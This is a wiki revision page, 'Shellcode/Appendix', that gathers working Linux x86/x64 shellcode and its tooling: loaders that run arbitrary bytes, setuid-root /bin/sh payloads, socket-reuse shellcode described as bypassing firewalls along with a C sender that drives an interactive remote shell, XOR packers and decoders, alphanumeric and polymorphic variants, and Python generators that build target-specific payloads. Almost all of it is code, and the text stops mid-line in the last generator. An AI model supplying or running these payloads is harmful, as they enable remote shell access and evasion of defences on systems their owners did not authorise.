Difference between revisions of "Shellcode/Appendix"
(→linked-exit.s) |
(→linker-fd-reuse.s) |
||
Line 1,104: | Line 1,104: | ||
'''Description''': Self-linking file descriptor reuse shellcode | '''Description''': Self-linking file descriptor reuse shellcode | ||
− | {{code|text=<source lang="asm"># | + | {{code|text=<source lang="asm"># 268 bytes |
.section .data | .section .data | ||
.section .text | .section .text | ||
Line 1,288: | Line 1,288: | ||
movl $0xf66bbb37, %ebp | movl $0xf66bbb37, %ebp | ||
− | + | pop %rdi | |
push %rdi | push %rdi | ||
push %rdi | push %rdi | ||
Line 1,301: | Line 1,301: | ||
call *%rcx | call *%rcx | ||
</source>}} | </source>}} | ||
+ | |||
== linked-exit.s == | == linked-exit.s == | ||
'''Description''': Self-linking exit shellcode | '''Description''': Self-linking exit shellcode |
Revision as of 22:24, 30 November 2012
Contents
Loaders
Documentation: shellcode loaders
See also: environmental documentation, environmental shellcode
loader-64.s
Description: 64-bit mmap-based executable shellcode loader (returns to shellcode)
# 79 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). inject: xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) inc %rsi jmp inject_loop ret_to_shellcode: push %rax ret inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call ret_to_shellcode exit: push $60 pop %rax xor %rdi, %rdi syscall |
loader-32.s
Description: 32-bit mmap-based executable shellcode loader (returns to shellcode)
# 66 bytes .section .data .section .text .global _start _start: pop %edi pop %edi pop %edi #get arg1 pointer (shellcode) push $90 pop %eax #mmap() syscall number xor %ebx, %ebx push %ebx push %ebx #args 5/6 (null) push $0x22 #arg 4 push $0x7 #arg 5 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 (0x1000) push %ebx #arg1 (null) mov %esp, %ebx #move pointer to args to ebx for mmap() int $0x80 inject: xor %esi, %esi push %esi pop %edx #zero out esi and edx inject_loop: cmpb %dl, (%edi, %esi, 1) je inject_finished movb (%edi, %esi, 1), %cl movb %cl, (%eax, %esi, 1) inc %esi jmp inject_loop #places shellcode into mmap() memory ret_to_shellcode: push %eax #pushes mmap memory address and returns to it ret inject_finished: inc %esi movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit call ret_to_shellcode exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exit |
dynamic-loader.c
Description: Dynamically linked mmap-based executable shellcode loader (contains GOT)
#include <stdio.h> #include <sys/mman.h> #include <string.h> int main(int argc, char *argv[]) { int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, argv[1], strlen(argv[1])); fp = (int(*)())mem; (int)(*fp)(); } |
socket-loader.c
Description: Dynamically linked mmap and socket based executable shellcode loader (contains GOT)
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } void execute(char *buffer) { printf("Executing\n"); printf("%d\n", strlen(buffer)); int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, buffer, strlen(buffer)); fp = (int(*)())mem; (int)(*fp)(); } int main(int argc, char *argv[]) { int sockfd, newsockfd, portno; socklen_t clilen; char buffer[1024]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { fprintf(stderr,"ERROR, no port provided\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERROR on accept"); bzero(buffer,1024); n = read(newsockfd,buffer,1024); execute(buffer); close(newsockfd); close(sockfd); return 0; } |
Null-free
Documentation: null-free shellcode
write-file-32.s
Description: Null-free file writing shellcode
# 90 bytes _start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit |
setuid_binsh.s
Description: null-free setuid(0); execve('/bin/sh') shellcode
# 32 bytes .text .globl _start _start: xor %rdi,%rdi pushq $0x69 pop %rax syscall push %rdi push %rdi pop %rsi pop %rdx pushq $0x68 movabs $0x7361622f6e69622f,%rax push %rax push %rsp pop %rdi pushq $0x3b pop %rax syscall |
Environment
Documentation: environment
getpc-64.s
Description: 64-bit getpc
# 12 - bytes jmp startup getpc: mov (%rsp), %rax ret startup: call getpc # the %rax register now contains %rip on the next line |
getpc-64-alt.s
Description: Alternative 64-bit getpc method
# 10 bytes jmp startup pc: nop startup: lea -1(%rip), %rax # the %rax register now contains the address of `pc'. |
getpc-32.s
Description: 32-bit getpc
# 11 bytes jmp startup getpc: mov (%esp), %eax ret startup: call getpc # the %eax register now contains %eip on the next line |
int3-detect-64.s
Description: Breakpoint detection shellcode
# 24 bytes .text .global _start _start: jmp startup go_retro: pop %rcx inc %rcx jmp *%rcx startup: call go_retro volatile_segment: push $0x3458686a push $0x0975c084 nop |
Socket-reuse
Documentation: socket reuse documentation
socket-reuse.s
Description: socket reusing shellcode to bypass firewalls
# 117 bytes .section .data .section .text .globl _start _start: jmp start exit: push $0x3c pop %rax syscall start: push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %edi test %di, %di # loop until 65535 then exit je exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx mov $0xfeffff80, %ebx not %ebx cmpl %ebx, (%rsp,%rcx,4) jne loop check_port: movb $0x35, %cl mov $0x2dfb, %bx not %bx cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) jne loop reuse: push %rax pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
socket-reuse-send.c
Description: sends socket reuse shellcode
#include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> char shellcode[] = { "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62" "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b" "\x59\xbb\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66" "\xbb\xfb\xfe\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21" "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48" "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f" "\x6a\x3b\x58\x0f\x05" }; void error(char *err) { perror(err); exit(0); } int main(int argc, char *argv[]) { struct sockaddr_in serv_addr, bind_addr; struct hostent* server, *bind_add; char buf[1024], inbuf[1024]; int port = atoi(argv[2]); int bport = atoi(argv[4]); int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) error("Error: socket(): "); bind_add = gethostbyname((char *)argv[3]); bzero((char *) &bind_addr, sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length); bind_addr.sin_port = htons(bport); if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0) error("Error: bind(): "); server = gethostbyname(argv[1]); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); printf("Connecting to %s\n", argv[1]); if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) error("Error: connect(): "); printf("Sending payload\n"); if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) error("Error: write(): "); while(fgets(buf, 1024, stdin) != NULL) { if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) error("Error: write(): "); if (recv(sock, inbuf, 1024, 0) < 0) error("Error: read(): "); printf("%s", inbuf); bzero(inbuf, 1024); bzero(buf, 1024); } return 0; } |
Self-modifying
Documentation: self-modifying code
See also: environmental documentation, environmental shellcode, loaders documentation, loaders
packer.s
Description: Shellcode packer
# 55 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer xor %rsi, %rsi push $0x34 pop %rdi count_chars: cmpb %dil, (%rbx, %rsi, 1) int3 je write xor $0x16, (%rbx, %rsi, 1) inc %rsi jmp count_chars write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall exit: push $60 pop %rax xor %rdi, %rdi syscall |
decoder-no-mmap.s
Description: Unpacker without mmap
# 69 bytes jmp start inject: pop %rdi # return value xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x17, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b xor $0x16, %r10b movb %r10b, (%rbx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rbx, %rsi, 1) push %rdi push %rbx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0xe,%rbx push %rbx call inject exit: push $0x3c pop %rax xor %rdi, %rdi syscall |
decoder.s
Description: Shellcode unpacker using mmap
# 102 bytes jmp start inject: pop %rdi pop %rcx pop %rax xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0x31,%rbx push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). push %rax push %rbx call inject exit: push $60 pop %rax xor %rdi, %rdi syscall |
packer-32.s
Description: 32-bit shellcode packer
# 37 bytes .section .data .section .text .global _start _start: pop %ecx pop %ecx pop %ecx #arg1 pointer xor %ebx, %ebx push %ebx pop %edx #zero out ebx and edx count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encode them write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80 #writes encoded chars to stdout exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exits |
decoder-32.s
Description: 32-bit shellcode decoder
# 89 bytes .section .data .section .text .global _start _start: jmp start inject: pop %ecx #pop the return address pop %ebx #pop the encoded shellcode start address pop %eax #pop the mmaped memory address xor %edx, %edx push %edx pop %ecx #zero out edx and ecx (which holds the return address) inject_loop: cmpb $0x20, (%ebx, %edx, 1) je inject_finished movb (%ebx, %edx, 1), %cl xor $0x3, %cl movb %cl, (%eax, %edx, 1) inc %edx jmp inject_loop inject_finished: inc %edx movb $0xc3, (%eax, %edx, 1) push %ecx push %eax ret getpc: mov (%esp), %eax ret start: call getpc #find ourself on stack mov %eax, %edx add $0x2a, %edx #add decoder length to find shell beginging push $90 pop %eax #mmap() syscall xor %ebx, %ebx push %ebx push %ebx #arg 5/6 push $0x22 #arg 4 push $0x7 #arg 3 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 0x1000 push %ebx #arg 1 mov %esp, %ebx int $0x80 push %eax #push mmap pointer push %edx #push our shellcode begining call inject exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 |
Alphanumeric
Documentation: alphanumeric shellcode
See also: environmental documentation, environmental shellcode
architecture_detection
Description: Alphanumeric architecture detection shellcode
TX4HPZTAZAYVH92
binsh.s
Description: Alphanumeric /bin/sh shellcode
Assembled:
XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00
# 104 bytes .text .global _start _start: pop %rax push %rsp pop %rax xor $0x65,%al xor $0x75,%al xor %rsi, (%rax) # mov emulated into rsi xor (%rax), %rsi push %rsi pop %rcx pushq $0x3030474a pop %rax xor %eax,0x64(%rcx) push %rsp pop %rcx pop %rax movslq 0x30(%rcx),%rsi xor %esi,0x30(%rcx) movslq 0x34(%rcx),%rsi xor %esi,0x34(%rcx) movslq 0x30(%rcx),%rdi movslq 0x30(%rcx),%rsi push %rdi pop %rdx pushq $0x5a58555a pop %rax xor $0x34313775,%eax xor %eax,0x30(%rcx) pushq $0x6a51475a pop %rax xor $0x6a393475,%eax xor %eax,0x34(%rcx) xor 0x30(%rcx),%rdi pop %rax push %rdi pushq $0x58 movslq (%rcx),%rdi xor (%rcx),%rdi pop %rax push %rsp xor (%rcx),%rdi xor $0x63,%al rex.RB rex.X xor %sil,(%rax) |
Dynamic
Documentation: dynamic shellcode
See also: environmental documentation, environmental shellcode, self-modifying documentation, self-modifying shellcode
poly-linker-fd-reuse.s
Description: Polymorphic self-linking file descriptor reuse shellcode
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
linker-fd-reuse.s
Description: Self-linking file descriptor reuse shellcode
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
linked-exit.s
Description: Self-linking exit shellcode
# 135 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret _world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx |
Generators
See also: socket-reuse documentation, socket-reuse shellcode, self-modifying documentation, self-modifying shellcode, dynamic documentation, dynamic shellcode
socket-reuse-generator.py
Description: Socket-reuse shellcode generator
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += "\\x" + hex(0xff ^ int(i))[2:] return new_addr def convert_port(port): port = hex(0xffff ^ int(port))[2:] port1 = port[0:2] port2 = port[2:4] return "\\x" + port1 + "\\x" + port2 shellcode_1 = \ "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \ "\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \ "\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \ "\\x59\\xbb" shellcode_2 = \ "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb" shellcode_3 = \ "\\x66\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21" \ "\\x58\\x0f\\x05\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48" \ "\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f" \ "\\x6a\\x3b\\x58\\x0f\\x05" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 for lin in re.findall(".?"*64, shellcode): if lin != "": print("\"" + lin + "\"") |
shellcode-generator.py
Description: Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)
#!/usr/bin/python2 import os import re import argparse def extract(path): if os.system("as -o %s.o %s.s" % (path, path)) == 1: exit() if os.system("ld -o %s %s.o" % (path, path)) == 1: exit() shellcode = "" for line in os.popen("objdump -d %s" % path).readlines(): for byte in line.split(): if re.match("^[a-f0-9][a-f0-9]$", byte): shellcode += chr(int(byte, 16)) return shellcode if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument('--file', required=True) parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") parser.add_argument('--raw', action='store_true', help="Output in raw format") parser.add_argument('--var', action='store_true', help="Output as a variable") parser.add_argument('--len', action='store_true', help="Output the length") args = parser.parse_args() shellcode = extract(args.file.split('.')[0]) if args.hex: tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) print tmp elif args.raw: print shellcode elif args.var: print "char shellcode[] = {" tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) for line in re.findall(".?"*64, tmp): if line != "": print("\"" + line + "\" \\") print "};" else: parser.print_help() exit() if args.len: print "Length: %d bytes" % len(shellcode) |
hash-generator.s
Description: Hash generator for self-linking shellcode
# 81 bytes .text .globl _start _start: jmp startup calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax ret startup: pop %rax pop %rax pop %rsi xor %rdx, %rdx call calc_hash push %rsi mov %rsp, %rsi push %rdx mov %rsp, %rcx mov $0x4, %rdi loop: dec %rdi movb (%rsi,%rdi,1), %al movb %al, (%rcx,%rdx,1) inc %rdx cmp %rdi, %r10 jnz loop mov %rcx, %rsi inc %rdi mov %rdi, %rax syscall mov $0x3c, %rax dec %rdi syscall |
poly-socket-reuse-generator.py
Description: Polymorphic socket-reuse generator
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += chr(int(i)) return new_addr def convert_port(port): port = "%.4x" % int(port) port2 = port[0:2] port1 = port[2:4] return chr(int(port1, 16)) + chr(int(port2, 16)) shellcode_1 = \ "\x68\xff\x30\x01\x40\x5b\xc1\xeb\x08\x48\x8b\x0b\x48\x03\x4b\x10" \ "\x48\x8b\x59\x20\x48\xff\xcb\x81\x3b\x7f\x45\x4c\x46\x75\xf5\xeb" \ "\x03\x59\xeb\x6a\xe8\xf8\xff\xff\xff\x55\x55\x52\x48\x31\xd2\x57" \ "\x50\x53\x56\x55\x5f\x53\x5d\x6a\x4c\x58\x48\x03\x1c\x83\x48\x83" \ "\xc3\x10\x80\x3b\x05\x75\xf7\x48\x8b\x43\x08\x48\x8b\x5b\x18\x48" \ "\x83\xc3\x18\x52\x5e\x66\x33\x33\x48\x01\xc6\x50\x52\x52\x58\xfc" \ "\xac\xc1\xc2\x0c\x01\xc2\x84\xc0\x75\xf6\x52\x5e\x5a\x58\x39\xf7" \ "\x75\xdd\x48\x03\x6c\x93\x08\x48\x89\x6c\x24\x30\x5e\x5b\x58\x5f" \ "\x5a\x5d\xc3\x68\x80\x47\x6c\x69\x5d\x48\x31\xff\xff\xd1\xbd\xf7" \ "\x01\xcc\xf8\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6\x02\x10\x48\x8d" \ "\x72\x04\x66\xff\xc7\x74\xdc\x48\x8d\x62\x14\x48\x83\xec\x20\x51" \ "\xff\xd1\x59\x84\xc0\x75\xeb\x6a\x7c\x41\x58\xb8" shellcode_2 =\ "\x42\x39\x04\x84\x75\xdc\xcc\x41\xb0\x35\x66\xb8" shellcode_3 =\ "\x66\x42"\ "\x39\x04\x44\x75\xcd\x68\x50\x27\x67\x70\x5d\x48\x31\xd2\x52\x52" \ "\x5e\x51\xff\xd1\x59\xff\xc6\x83\xfe\x04\x75\xf5\xbd\x37\xbb\x6b" \ "\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f" \ "\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\xff\xd1" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 shellcode2 = "" for byte in shellcode: shellcode2 += chr(ord(byte) ^ 0x17) shellcode2 